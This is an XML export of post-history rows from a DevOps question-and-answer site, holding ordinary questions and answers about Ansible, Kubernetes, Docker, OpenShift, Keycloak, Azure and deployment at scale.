  <row Id="33877" PostHistoryTypeId="5" PostId="11059" RevisionGUID="2e0ee485-50f2-4d11-9d84-4f97075803af" CreationDate="2020-03-12T12:36:21.083" UserId="11440" Comment="deleted 85 characters in body" Text="Try this, to run an adhoc command with IP address&#xD;&#xA;&#xD;&#xA;    ansible all -i 192.168.254.150, -m ping&#xD;&#xA;    192.168.254.150 | SUCCESS =&gt; {&#xD;&#xA;        &quot;changed&quot;: false, &#xD;&#xA;        &quot;ping&quot;: &quot;pong&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;From man:&#xD;&#xA;&#xD;&#xA;&gt;  -i INVENTORY, --inventory=INVENTORY, --inventory-file=INVENTORY&#xD;&#xA;&gt;                        specify inventory host path or **comma separated host**&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33878" PostHistoryTypeId="2" PostId="11060" RevisionGUID="00bb974f-4464-4569-bd2f-4ac7ab1d7416" CreationDate="2020-03-12T12:40:11.770" UserId="15792" Text="Version bumps should happen every single build.  Waiting until a formal release and releasing everything as 1.0.0 is an option, but you should still know what build you are using in your alpha/beta.&#xD;&#xA;&#xD;&#xA;Ultimately, the developer will have to determine if a major release increment is needed. &#xD;&#xA;You should only do a major release bump if you introduced a breaking change.&#xD;&#xA;&#xD;&#xA;For your regular builds, a common practice is to let your CI tool increment the &quot;patch release&quot; number or the X.X.**Patch** portion of the version.  This way your versioning is tied to your builds which will help the development and testing process.  If you choose to only do a nightly build, you can have your CI tool increment this number then so that you and other developers know what version of the package they are using.&#xD;&#xA;&#xD;&#xA;NPM has [published][1] a good guide on how to handle semantic versioning.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.npmjs.com/about-semantic-versioning" ContentLicense="CC BY-SA 4.0" />
  <row Id="33879" PostHistoryTypeId="2" PostId="11061" RevisionGUID="46e82066-ef69-419b-a512-6ce1a3851580" CreationDate="2020-03-12T13:31:23.687" UserId="20186" Text="I store them in my terminal session using `keyctl`. When I open a terminal session, I input my passwords once.&#xD;&#xA;&#xD;&#xA;`keyctl` allows you to store passwords at different levels, I have chosen session level  but you can store it at user or host level.&#xD;&#xA;&#xD;&#xA;To perform that, define property `vault_identity_list` in file *ansible.cfg* :&#xD;&#xA;&#xD;&#xA;```ini&#xD;&#xA;vault_identity_list = my_key@./scripts/my_key.py&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Create a python script named *my_key.py* in directory *./scripts* with this content :&#xD;&#xA;&#xD;&#xA;```python&#xD;&#xA;#!/usr/bin/python&#xD;&#xA;# coding: utf8&#xD;&#xA;&#xD;&#xA;import subprocess&#xD;&#xA;import sys&#xD;&#xA;import getpass&#xD;&#xA;&#xD;&#xA;key_name = &quot;my_key&quot;&#xD;&#xA;try:&#xD;&#xA;  keyid = int(subprocess.Popen(&quot;keyctl request user {} @s&quot;.format(key_name), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).stdout.read())&#xD;&#xA;  print subprocess.Popen(&quot;keyctl print {}&quot;.format(str(keyid)), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).stdout.read().rstrip()&#xD;&#xA;except ValueError:&#xD;&#xA;  sys.stderr.write(&quot;Password for '{}' : &quot;.format(key_name))&#xD;&#xA;  password = getpass.getpass(&quot;&quot;).rstrip()&#xD;&#xA;  subprocess.Popen(&quot;keyctl add user {} '{}' @s&quot;.format(key_name, password), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)&#xD;&#xA;  print password&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Now, when you type `ansible-playbook -e @my_vault.vault ...`, it asks you password only once per sessions.&#xD;&#xA;&#xD;&#xA;Whith this approach, you can use easily several vaults (each of them with a python script, I don't find a way to use the same script with all vaults).&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33880" PostHistoryTypeId="52" PostId="11056" RevisionGUID="b674f211-6987-43a2-b286-f055610e7603" CreationDate="2020-03-12T14:36:05.530" />
  <row Id="33881" PostHistoryTypeId="2" PostId="11062" RevisionGUID="e86dcec6-364f-4f84-86a7-f1a010a567e6" CreationDate="2020-03-12T16:25:41.593" UserId="17259" Text="I set my az account to current subscription. And I am trying to fetch the resource name ending with (example &quot;***kafka&quot; ). How can i do it. &#xD;&#xA;&#xD;&#xA;I tried with `az group list -n '***kafka'`&#xD;&#xA;&#xD;&#xA;&gt; validation error: Parameter 'resource_group_name' must conform to the following pattern: '^[-\\w\\._\\(\\)]+$'." ContentLicense="CC BY-SA 4.0" />
  <row Id="33882" PostHistoryTypeId="1" PostId="11062" RevisionGUID="e86dcec6-364f-4f84-86a7-f1a010a567e6" CreationDate="2020-03-12T16:25:41.593" UserId="17259" Text="How to fetch resource group name( with pattern matching) using Azurecli" ContentLicense="CC BY-SA 4.0" />
  <row Id="33883" PostHistoryTypeId="3" PostId="11062" RevisionGUID="e86dcec6-364f-4f84-86a7-f1a010a567e6" CreationDate="2020-03-12T16:25:41.593" UserId="17259" Text="&lt;azure&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33887" PostHistoryTypeId="5" PostId="11058" RevisionGUID="8068ff58-e311-4047-a45c-1686cd72d9f3" CreationDate="2020-03-12T19:11:54.617" UserId="11440" Comment="formatting" Text="    $ ansible 192.168.254.150 -m ping&#xD;&#xA;    &#xD;&#xA;    [WARNING]: Unable to parse /etc/ansible/hosts enable callback plugins as an&#xD;&#xA;    inventory source&#xD;&#xA;    [WARNING]: Unable to parse /etc/ansible/they can output to stdout but cannot be&#xD;&#xA;    'stdout' type. callback_whitelist = timer as an inventory source&#xD;&#xA;    [WARNING]: Unable to parse /etc/ansible/mail as an inventory source&#xD;&#xA;    [WARNING]: No inventory was parsed, only implicit localhost is available&#xD;&#xA;    [WARNING]: provided hosts list is empty, only localhost is available. Note that&#xD;&#xA;    the implicit localhost does not match 'all'&#xD;&#xA;    [WARNING]: Could not match supplied host pattern, ignoring: 192.168.254.150&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33888" PostHistoryTypeId="6" PostId="11058" RevisionGUID="8068ff58-e311-4047-a45c-1686cd72d9f3" CreationDate="2020-03-12T19:11:54.617" UserId="11440" Comment="formatting" Text="&lt;ansible&gt;&lt;ubuntu&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33889" PostHistoryTypeId="24" PostId="11058" RevisionGUID="8068ff58-e311-4047-a45c-1686cd72d9f3" CreationDate="2020-03-12T19:11:54.617" Comment="Proposed by 11440 approved by 40 edit id of 1167" ContentLicense="CC BY-SA 4.0" />
  <row Id="33890" PostHistoryTypeId="2" PostId="11064" RevisionGUID="9c1cfdc9-68a4-4cdc-93ca-37558f1eedf3" CreationDate="2020-03-12T19:25:11.940" UserId="20190" Text="I have a situation where I have a Postgres and a Node server which connects to it. I am using Kubernetes to deploy them.&#xD;&#xA;&#xD;&#xA;If my Postgres container fails and stops working then its livenessProbe will restart him which will take some time, meanwhile, the server container is useless so the Server's readinessProbe should fail and Ingress stops routing traffic to it. If this happens what should be the behavior of the Server?&#xD;&#xA;&#xD;&#xA;Some solutions I thought but was not sure about them:&#xD;&#xA;&#xD;&#xA; 1. Server's livenessProbe sees database down and restarts the container (doesn't make sense to me because it could generate a cascade effect, Postgres failure makes the Server's container restart)&#xD;&#xA; 2. Server keep trying to reconnect forever and becomes a useless running container while Postgres doesn't come back&#xD;&#xA; 3. Server tries to reconnect a limited number of times with exponential interval between them, after that it restarts" ContentLicense="CC BY-SA 4.0" />
  <row Id="33891" PostHistoryTypeId="1" PostId="11064" RevisionGUID="9c1cfdc9-68a4-4cdc-93ca-37558f1eedf3" CreationDate="2020-03-12T19:25:11.940" UserId="20190" Text="Should my zombie backend container be restarted when database is down?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33892" PostHistoryTypeId="3" PostId="11064" RevisionGUID="9c1cfdc9-68a4-4cdc-93ca-37558f1eedf3" CreationDate="2020-03-12T19:25:11.940" UserId="20190" Text="&lt;kubernetes&gt;&lt;containers&gt;&lt;microservices&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33893" PostHistoryTypeId="2" PostId="11065" RevisionGUID="5b7a3901-0597-4f1c-99ae-f67f100a8e6e" CreationDate="2020-03-12T21:20:43.523" UserId="20192" Text="### My set-up&#xD;&#xA;&#xD;&#xA;- I have a Docker image based on `php:7.4-apache`.&#xD;&#xA;- I have two Docker volumes for saving files that need to be persisted.&#xD;&#xA;- On container start, I run [Certbot][1] to install HTTPs certificates.&#xD;&#xA;&#xD;&#xA;### Issue&#xD;&#xA;&#xD;&#xA;I discovered that **my application can't write to Docker volumes**. &#xD;&#xA;&#xD;&#xA;### Debugging&#xD;&#xA;Using `ls -l` I found out that the mountpoints of my volumes are owned by user `1451`:&#xD;&#xA;```&#xD;&#xA;drwxr-xr-x 4     1451 users     176128 Mar 12 13:25 volume_mountpoint&#xD;&#xA;```&#xD;&#xA;My web server is running under user `www-data`.&#xD;&#xA;&#xD;&#xA;### Attempted solution&#xD;&#xA;I've tried setting the user under which my container runs to `www-data`. This caused the volume mountpoints to be owned by `www-data`, which fixed the permissions issue. The problem with this solution is that `Certbot` requires `root` permissions and fails to acquire HTTPs certificate without it.&#xD;&#xA;&#xD;&#xA;### Question&#xD;&#xA;&#xD;&#xA;What is the proper way to fix this issue? I need `Certbot` to run under root, but let mountpoints to be owned by `www-data`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://certbot.eff.org/" ContentLicense="CC BY-SA 4.0" />
  <row Id="33894" PostHistoryTypeId="1" PostId="11065" RevisionGUID="5b7a3901-0597-4f1c-99ae-f67f100a8e6e" CreationDate="2020-03-12T21:20:43.523" UserId="20192" Text="Can't write to Docker volume" ContentLicense="CC BY-SA 4.0" />
  <row Id="33895" PostHistoryTypeId="3" PostId="11065" RevisionGUID="5b7a3901-0597-4f1c-99ae-f67f100a8e6e" CreationDate="2020-03-12T21:20:43.523" UserId="20192" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33896" PostHistoryTypeId="2" PostId="11066" RevisionGUID="7f48f106-0093-4813-915b-0fb6ca6f8113" CreationDate="2020-03-13T04:08:32.393" UserId="19963" Text="Solution that worked for me in the past: create a new image out of the existing one and let entrypoint script of that new image to modify permissions of your volume_mountpoint.&#xD;&#xA;&#xD;&#xA;So in the case of your image (php:7.4-apache) you create entrypoint.sh file, something like&#xD;&#xA;&#xD;&#xA;    chown www-data:www-data -R /path/to/volume_mountpoint&#xD;&#xA;    apache2-foreground&#xD;&#xA;&#xD;&#xA;And then your Dockerfile should be something like&#xD;&#xA;&#xD;&#xA;    FROM php:7.4-apache&#xD;&#xA;    COPY entrypoint.sh /entrypoint.sh&#xD;&#xA;    ENTRYPOINT [&quot;/entrypoint.sh&quot;]&#xD;&#xA;&#xD;&#xA;This way it should correct the permissions when container starts. Note, that I haven't tested the above, might require some tweaks - but hopefully it shows the idea.&#xD;&#xA;&#xD;&#xA;P.s. Maybe somebody has a better way of doing this - I would be very interested myself." ContentLicense="CC BY-SA 4.0" />
  <row Id="33897" PostHistoryTypeId="50" PostId="10732" RevisionGUID="326a7168-3208-4e01-ae2d-20f5dbb59767" CreationDate="2020-03-13T07:01:10.347" UserId="-1" />
  <row Id="33901" PostHistoryTypeId="2" PostId="11068" RevisionGUID="897fbfe1-948c-40e2-b7c3-e0823e52caf6" CreationDate="2020-03-13T12:31:57.217" UserId="20199" Text="This [online tool][1] will translate your compose file equivalent Kubernetes resources &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://8gwifi.org/kube1.jsp&#xD;&#xA;  [2]: https://i.stack.imgur.com/sOMxg.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="33902" PostHistoryTypeId="2" PostId="11069" RevisionGUID="2a7b6efa-853a-46be-9c2c-afb46266c1b7" CreationDate="2020-03-13T13:58:16.283" UserId="19055" Text="From a technical perspective, they are working in different tcp/ip layers.&#xA;&#xA;Expose command create a layer 4 tcp/udp port redirection. While ingress works at layer 7, ingress can do alot more like ssl offlloading, distribute loads based on HTTP headers, cookies, or url etc" ContentLicense="CC BY-SA 4.0" />
  <row Id="33904" PostHistoryTypeId="2" PostId="11070" RevisionGUID="71b4a45c-cfa0-4814-b1f9-cda2c3693a78" CreationDate="2020-03-13T18:24:15.017" UserId="20204" Text="I'd like to setup a route that will pass both 80 and 443 traffic to the same service in OpenShift. When I try to create a second route it errors out. I want this to be in a yaml like would be used with `oc create -f route.yaml` so I can submit it to our IaC code repo." ContentLicense="CC BY-SA 4.0" />
  <row Id="33905" PostHistoryTypeId="1" PostId="11070" RevisionGUID="71b4a45c-cfa0-4814-b1f9-cda2c3693a78" CreationDate="2020-03-13T18:24:15.017" UserId="20204" Text="How do I setup an OpenShift route that will allow both 80 and 443 traffic to my app?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33906" PostHistoryTypeId="3" PostId="11070" RevisionGUID="71b4a45c-cfa0-4814-b1f9-cda2c3693a78" CreationDate="2020-03-13T18:24:15.017" UserId="20204" Text="&lt;security&gt;&lt;networking&gt;&lt;openshift&gt;&lt;encryption&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33907" PostHistoryTypeId="2" PostId="11071" RevisionGUID="67df6603-a755-48c6-8d08-83f0485883c0" CreationDate="2020-03-13T18:24:15.017" UserId="20204" Text="You'll want to be sure your spec.tls section has the following two items to tell the router you want both secure and insecure traffic allowed in the edge. &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;apiVersion: route.openshift.io/v1&#xD;&#xA;kind: Route&#xD;&#xA;metadata:&#xD;&#xA;  name: my-app-ui&#xD;&#xA;  namespace: my-namespace&#xD;&#xA;spec:&#xD;&#xA;  host: my-host&#xD;&#xA;  port:&#xD;&#xA;    targetPort: http&#xD;&#xA;  tls:&#xD;&#xA;    insecureEdgeTerminationPolicy: Allow&#xD;&#xA;    termination: edge&#xD;&#xA;  to:&#xD;&#xA;    kind: Service&#xD;&#xA;    name: my-app-ui&#xD;&#xA;    weight: 100&#xD;&#xA;  wildcardPolicy: None&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="33908" PostHistoryTypeId="2" PostId="11072" RevisionGUID="b913e6df-0913-4d87-9340-00d95bb2480d" CreationDate="2020-03-13T18:43:57.343" UserId="7730" Text="The standard option is #2, keep retrying the connection, possibly with slower intervals, but I'd have an upper limit to the longest interval. The liveness probe should only fail if that specific container is broken, not any of it's dependencies. If there are cases where your application is failing and won't self recover when the DB is restored, then the liveness probe should fail in that scenario, and I'd consider an init container to check for the availability of the DB before starting the full application.&#xD;&#xA;&#xD;&#xA;There should be some logging and metrics enabled to make the DB failure visible so that you debug the correct thing. If there is a concern of too many retries impacting the network, then a service mesh with circuit breaker functionality may be a good option." ContentLicense="CC BY-SA 4.0" />
  <row Id="33909" PostHistoryTypeId="2" PostId="11073" RevisionGUID="bb1e07ec-2c1e-4e0d-a727-0e3004da21c1" CreationDate="2020-03-13T19:10:50.810" UserId="20206" Text="Initially asked here: https://stackoverflow.com/questions/60674502/how-to-keep-many-servers-5000-up-to-date-with-git-and-its-rate-limits&#xD;&#xA;&#xD;&#xA;The initial post:&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;We're making a php service that will run on many servers, think 5000+. We host our code on git (bitbucket). We wondered what the best way to keep the servers up-to-date would be.&#xD;&#xA;&#xD;&#xA;We figured either post-commit hooks (but what would happen then if a few servers didn't receive the update notification?) or git fetching every minute with cron. We want to go with the cron way of doing things, since it isn't possible it would fail, even if a server would be offline (either turned off or disconnected from the network), it would still resolve itself eventually.&#xD;&#xA;&#xD;&#xA;We're doing a fetch every minute, and then compare to see if it needs to pull, if so it pulls and runs the migration code.&#xD;&#xA;&#xD;&#xA;We would like to run this every minute so that the servers will be synchronized with each other as soon as possible.&#xD;&#xA;&#xD;&#xA;Now we wonder, what about rate limits? We're using bitbucket, and the rate limits are 60 000 requests per hour (so a 1000 per minute), which would limit us to 1000 servers max before we will get problems then?&#xD;&#xA;&#xD;&#xA;But it also says, if we make a public repo, we can make unauthenticated calls, the limits of which go by IP rather than per user, so we won't run into any limits then no matter how many servers we will have. Downside is, we will have to encrypt the repo then, then on pull, decrypt it and copy over the decrypted files.&#xD;&#xA;&#xD;&#xA;Is this the best way of handling this? It seems very unconventional. What is the standard or recommended way of handling this (if there is any)?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;After having read the answers, we now think that having a group of servers that pull in any changes (from git). For readability, we're calling these the &quot;gitpull-servers&quot;, and the 5000+ servers the &quot;webservers&quot;. &#xD;&#xA;&#xD;&#xA;The plan is to make the gitpull-servers fetch (and possibly pull) from git. &#xD;&#xA;&#xD;&#xA;The webservers periodically query the gitpull-servers to see if there is an update, and if there is, the webservers will pull the update in either by downloading a tar/zip (requires more network) or by using rsync (requires more iops on the gitpull-servers). &#xD;&#xA;&#xD;&#xA;We think this is a good solution, but none of us have any experience with deployments at this scale, so we aren't sure if we've overseen anything or if this could be done in any other (potentially better) way. &#xD;&#xA;&#xD;&#xA;It would be really helpful to get feedback on this, as well as to know about the conventional or the recommended way of handling a problem like this at this scale. &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33910" PostHistoryTypeId="1" PostId="11073" RevisionGUID="bb1e07ec-2c1e-4e0d-a727-0e3004da21c1" CreationDate="2020-03-13T19:10:50.810" UserId="20206" Text="How to keep many servers (5000+) up-to-date?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33911" PostHistoryTypeId="3" PostId="11073" RevisionGUID="bb1e07ec-2c1e-4e0d-a727-0e3004da21c1" CreationDate="2020-03-13T19:10:50.810" UserId="20206" Text="&lt;git&gt;&lt;deployment&gt;&lt;continuous-deployment&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33915" PostHistoryTypeId="11" PostId="8676" RevisionGUID="439f7d93-4b2d-4260-9ae4-529e9557e734" CreationDate="2020-03-13T21:16:42.793" UserId="210" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="33916" PostHistoryTypeId="2" PostId="11075" RevisionGUID="8fdf3fe3-9248-4dfc-b3c8-efea50b61e15" CreationDate="2020-03-14T00:35:19.430" UserId="16059" Text="I don't think the proposed plan here makes much sense.  Tools like Ansible are free and designed to do this with good, central management and logging.&#xD;&#xA;&#xD;&#xA; - Put code in BitBucket.&#xD;&#xA; - Make a Jenkins server (open source / free / low on resources &#xD;&#xA;/ well documented and easy to use).&#xD;&#xA; - Make BitBucket call Jenkins with a hook on change.&#xD;&#xA;   - Or, if you feel like it, Jenkins can poll bit-bucket, but this is less efficient.&#xD;&#xA; - Have Jenkins call ansible (also open source / free / low on resources &#xD;&#xA;/ well documented and easy to use) in its pipeline.&#xD;&#xA; - Ansible can target all 5000 servers with a dynamic inventory based on querying a database/file/API/whatever you have.&#xD;&#xA; - This way, bit-bucket has almost no load, ansible does everything from one location, runs are recorded in Jenkins with info on each host.&#xD;&#xA;&#xD;&#xA;You won't have any API / rate limits here and you'll easily be able to target more hosts, with no effort on your end, with the dynamic inventory.&#xD;&#xA;&#xD;&#xA;This is industry standard tooling.  You can also use Ansible to keep the servers up to date patch wise and all kinds of other stuff while you're at it, so it's a re-usable solution." ContentLicense="CC BY-SA 4.0" />
  <row Id="33918" PostHistoryTypeId="2" PostId="11076" RevisionGUID="ae5e73da-a8ae-4977-a1f8-caca7d8840df" CreationDate="2020-03-14T10:09:05.583" UserId="210" Text="@titou10 created a pull request and solved it in version 3.3.4-rc1." ContentLicense="CC BY-SA 4.0" />
  <row Id="33919" PostHistoryTypeId="16" PostId="11076" RevisionGUID="8f741dd7-4b49-4643-963a-6f5961ec1c3a" CreationDate="2020-03-14T10:09:05.583" UserId="210" />
  <row Id="33923" PostHistoryTypeId="5" PostId="8104" RevisionGUID="377ea7d2-0908-454d-b377-879bd0e0803d" CreationDate="2020-03-14T11:51:21.530" UserId="210" Comment="added 44 characters in body" Text="[The Nexus3 Disaster Recovery tool][1] is able to download all artifacts from a Nexus3 artifact manager and upload them to another Nexus3 instance. &#xD;&#xA;&#xD;&#xA;https://n3dr.releasesoftwaremoreoften.com/&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/030/n3dr" ContentLicense="CC BY-SA 4.0" />
  <row Id="33925" PostHistoryTypeId="50" PostId="4398" RevisionGUID="486538a2-569c-417f-93ef-cf0b9a0781c7" CreationDate="2020-03-15T11:02:30.290" UserId="-1" />
  <row Id="33926" PostHistoryTypeId="2" PostId="11078" RevisionGUID="00fa818a-60a7-457a-bb87-628c2585ff97" CreationDate="2020-03-15T16:25:21.170" UserId="17486" Text="Currently there is no module to create a Keycloak realm with Ansible. There is a PR but it is stucked since half a year or so. So I though, there is a Keycloak REST API (https://www.keycloak.org/docs-api/9.0/rest-api/index.html#_realms_admin_resource) and I could call it with `uri` to create a Token and then send a JSON RealmRepresentation via REST. So I tried this:&#xD;&#xA;&#xD;&#xA;    - name: &quot;Create Token for service Keycloak&quot;&#xD;&#xA;      uri:&#xD;&#xA;        url: &quot;https://keycloak-server/auth/realms/master/protocol/openid-connect/token&quot;&#xD;&#xA;        method: POST&#xD;&#xA;        body_format: form-urlencoded&#xD;&#xA;        body:&#xD;&#xA;          username: &quot;admin&quot;&#xD;&#xA;          password: &quot;password&quot;&#xD;&#xA;          grant_type: &quot;password&quot;&#xD;&#xA;          client_id: &quot;admin-cli&quot;&#xD;&#xA;      register: keycloak_token&#xD;&#xA;    &#xD;&#xA;    - name: &quot;Create Realm for service Keycloak&quot;&#xD;&#xA;      uri:&#xD;&#xA;        url: &quot;https://keycloak-server/auth/&quot;&#xD;&#xA;        method: POST&#xD;&#xA;        src: &quot;realm.json&quot;&#xD;&#xA;        remote_src: &quot;no&quot;&#xD;&#xA;        headers:&#xD;&#xA;          Content-type: &quot;application/json&quot;&#xD;&#xA;          Accept: &quot;application/json&quot;&#xD;&#xA;          Authorization: &quot;Bearer {{ keycloak_token.json.access_token }}&quot;&#xD;&#xA;      register: keycloak_realm_create&#xD;&#xA;    &#xD;&#xA;The token is available within `keycloak_token.json.access_token` and it is correct.&#xD;&#xA;&#xD;&#xA;As `realm.json` I tested a minimal JSON (because all attributes in RealmRepresentation are marked as optional):&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;id&quot;: &quot;myrealm&quot;,&#xD;&#xA;      &quot;realm&quot;: &quot;myrealm&quot;,&#xD;&#xA;      &quot;displayName&quot;: &quot;My Realm&quot;,&#xD;&#xA;      &quot;enabled&quot;: true,&#xD;&#xA;      &quot;sslRequired&quot;: &quot;external&quot;,&#xD;&#xA;      &quot;registrationAllowed&quot;: false,&#xD;&#xA;      &quot;loginWithEmailAllowed&quot;: true,&#xD;&#xA;      &quot;duplicateEmailsAllowed&quot;: false,&#xD;&#xA;      &quot;resetPasswordAllowed&quot;: false,&#xD;&#xA;      &quot;editUsernameAllowed&quot;: false,&#xD;&#xA;      &quot;bruteForceProtected&quot;: true&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;or a complete JSON export from Keycloak via WebUI (export realm). &#xD;&#xA;&#xD;&#xA;But in any case the following error happens:&#xD;&#xA;&#xD;&#xA;    fatal: [localhost]: FAILED! =&gt; {&#xD;&#xA;      &quot;changed&quot;: false, &#xD;&#xA;      &quot;connection&quot;: &quot;close&quot;, &#xD;&#xA;      &quot;content&quot;: &quot;{\&quot;error\&quot;:\&quot;RESTEASY003065: Cannot consume content type\&quot;}&quot;, &#xD;&#xA;      &quot;content_length&quot;: &quot;55&quot;, &#xD;&#xA;      &quot;content_type&quot;: &quot;application/json&quot;, &#xD;&#xA;      &quot;elapsed&quot;: 0, &#xD;&#xA;      &quot;json&quot;: {&quot;error&quot;: &quot;RESTEASY003065: Cannot consume content type&quot;},&#xD;&#xA;      &quot;msg&quot;: &quot;Status code was 415 and not [200]: HTTP Error 415: Unsupported Media Type&quot;,&#xD;&#xA;      &quot;redirected&quot;: false,&#xD;&#xA;      &quot;status&quot;: 415,&#xD;&#xA;      &quot;url&quot;: &quot;https://keycloak-server/auth/&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The documentation says it must be a `POST` to `/` and it consumes `application/json`. So, I'm not sure - is the URL correct? If I try `https://keycloak-server/auth/realms/`, I'm getting a 404. If I remove the `Content-type` - I'm getting a 406 with &quot;Not acceptable&quot;. If I remove Accepts too, I'm getting a HTML page.&#xD;&#xA;&#xD;&#xA;So - what is wrong?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33927" PostHistoryTypeId="1" PostId="11078" RevisionGUID="00fa818a-60a7-457a-bb87-628c2585ff97" CreationDate="2020-03-15T16:25:21.170" UserId="17486" Text="Creating Keycloak Realm via Ansible" ContentLicense="CC BY-SA 4.0" />
  <row Id="33928" PostHistoryTypeId="3" PostId="11078" RevisionGUID="00fa818a-60a7-457a-bb87-628c2585ff97" CreationDate="2020-03-15T16:25:21.170" UserId="17486" Text="&lt;ansible&gt;&lt;keycloak&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33932" PostHistoryTypeId="50" PostId="10654" RevisionGUID="330415e9-06c7-4c55-a9f3-c0288d3dcec6" CreationDate="2020-03-15T20:02:05.243" UserId="-1" />
  <row Id="33934" PostHistoryTypeId="2" PostId="11080" RevisionGUID="056904f9-34b0-4cab-9a06-a640f8b4a5cf" CreationDate="2020-03-16T03:46:40.630" UserId="20227" Text="Kubernetes already provides a way to manage configuration with ConfigMap.&#xD;&#xA;&#xD;&#xA;However, I have a question/problem here.&#xD;&#xA;&#xD;&#xA;If I have multiple applications with different needs deployed in Kubernetes, all these deployments might share and access some common config variables. Is it possible for ConfigMap to use a common config variable?  " ContentLicense="CC BY-SA 4.0" />
  <row Id="33935" PostHistoryTypeId="1" PostId="11080" RevisionGUID="056904f9-34b0-4cab-9a06-a640f8b4a5cf" CreationDate="2020-03-16T03:46:40.630" UserId="20227" Text="Common config in Kubernetes ConfigMap" ContentLicense="CC BY-SA 4.0" />
  <row Id="33937" PostHistoryTypeId="3" PostId="11080" RevisionGUID="056904f9-34b0-4cab-9a06-a640f8b4a5cf" CreationDate="2020-03-16T03:46:40.630" UserId="20227" Text="&lt;kubernetes&gt;&lt;configuration-management&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33939" PostHistoryTypeId="50" PostId="10487" RevisionGUID="54ddab47-f99d-4337-a337-d4e97e50f9a4" CreationDate="2020-03-16T08:01:00.083" UserId="-1" />
  <row Id="33940" PostHistoryTypeId="6" PostId="11034" RevisionGUID="7a7da090-1b5c-4e6d-9f75-4320b42cf3b9" CreationDate="2020-03-16T08:59:53.047" UserId="1180" Comment="tags edited" Text="&lt;security&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33941" PostHistoryTypeId="24" PostId="11034" RevisionGUID="7a7da090-1b5c-4e6d-9f75-4320b42cf3b9" CreationDate="2020-03-16T08:59:53.047" Comment="Proposed by 1180 approved by 40 edit id of 1168" ContentLicense="CC BY-SA 4.0" />
  <row Id="33942" PostHistoryTypeId="12" PostId="11076" RevisionGUID="951fa780-b7a7-458d-af72-a17efbcbd181" CreationDate="2020-03-16T09:26:36.080" UserId="46" Comment="via Vote" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:46,&quot;DisplayName&quot;:&quot;Dawny33&quot;}]}" />
  <row Id="33943" PostHistoryTypeId="2" PostId="11082" RevisionGUID="36122ea3-0b69-47ab-b4dd-ff39642fa7ab" CreationDate="2020-03-16T09:37:47.697" UserId="16135" Text="I eventually found the solution :) &#xD;&#xA;&#xD;&#xA;In an Azure Devops Release pipelines I've created a Command Line task that executes `SqlPackage.exe /Action:DeployReport /p:DoNotAlterReplicatedObjects=false ...` which creates an XML file that contains info on which tables etc would be changed by a deployment. It's important to note that `DoNotAlterReplicatedObjects` should be set to false, otherwise SqlPackage will fail.&#xD;&#xA;&#xD;&#xA;In a second task in the Azure Release pipeline, I analyze the generated DeployReport (e.g. the XML file) using Powershell and XPath**. The Powershell task will create an boolean output variable that will indicate whether replication needs to be stopped or not. In my case, I analyze the XML and if a table is created/altered/dropped, the replication will be stopped.&#xD;&#xA;The syntax for setting the output variable is&#xD;&#xA;&#xD;&#xA;    Write-Host &quot;##vso[task.setvariable variable=haltReplication;isOutput=true]$haltReplication&quot;`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Third step is yet another Powershell script that will stop the replication. This third script will only run if `$haltReplication` evaulates to true. In the Control Options, the custom condition is `and(succeeded(), eq(variables['haltReplication.haltReplication'],'1'))`&#xD;&#xA;&#xD;&#xA;**The XML file generated by SqlPackage.exe contains namespaces, which makes working with XPath a bit cumbersome. The following SO answer helped me a lot https://stackoverflow.com/questions/36417189/ignore-namespace-in-xpath-as-this-can-be-dynamic?rq=1 " ContentLicense="CC BY-SA 4.0" />
